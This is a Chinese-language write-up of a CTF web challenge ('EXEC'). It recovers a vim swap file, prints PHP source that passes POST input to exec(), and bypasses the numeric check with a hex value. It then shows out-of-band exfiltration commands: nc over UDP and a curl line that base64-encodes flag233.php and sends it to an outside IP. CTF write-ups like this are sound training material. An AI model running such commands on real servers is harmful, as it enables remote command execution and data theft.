练习平台地址
竞赛中心
题目描述
题目内容
小猫旁边有一个no sign
F12检查页面
没有提示
检查源代码
发现使用了vim编辑器
进而联想到vim
编辑器的临时交换文件.xxx.swp
访问.index.php.swp,成功下载文件
使用vim -r 查看文件内容
vim -r index.php.swp
<?php
/*
flag in flag233.php
*/function check($number)
{$one = ord('1');$nine = ord('9');for ($i = 0; $i < strlen($number); $i++){ $digit = ord($number{$i});if ( ($digit >= $one) && ($digit <= $nine) ){return false;}}return $number == '11259375';
}
if(isset($_GET[sign])&& check($_GET[sign])){setcookie('auth','tcp tunnel is forbidden!');if(isset($_POST['cmd'])){$command=$_POST[cmd];$result=exec($command);//echo $result;}
}else{die('no sign');
}
?>
代码分析
function check($number)
{
$one = ord('1');
$nine = ord('9');
for ($i = 0; $i < strlen($number); $i++)
{
$digit = ord($number{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
return false;
}
}
}参数sign必须是11259375,而且每一位的值的ascii码不能大于1或小于9
if(isset($_GET[sign])&& check($_GET[sign])){
setcookie('auth','tcp tunnel is forbidden!');
if(isset($_POST['cmd'])){
$command=$_POST[cmd];
$result=exec($command);
//echo $result;
}
}else{
die('no sign');
}如果检查通过并成功执行了命令,不打印no sign
解题
检查可以通过11259375的十六进制进行绕过
执行命令发现echo $flag被注释了,不会直接打印结果
nc传输文件
nc -u 域名(ip地址 端口) < xxx
cmd=nc -u 域名(ip地址 端口) < xxx
data=$(cat x.txt); 相当于创建了值为x.txt内容的一个变量,用$data可引用该变量,通过管道符 | 和 base64 命令,可将目标base64编码,curl 可访问目标url,这会在目标服务器留下日志
cmd=data=$(cat flag233.php | base64);curl http://xx.xx.xx.xx/?data=$data;
参考文章
i春秋-百度杯十月场-EXEC-CSDN博客
i春秋——“百度杯”CTF比赛 十月场——EXEC(命令执行、带外通道传输数据)...-CSDN博客
Flag
由于没有服务器这里无法得到flag,可以参考上述文章的做法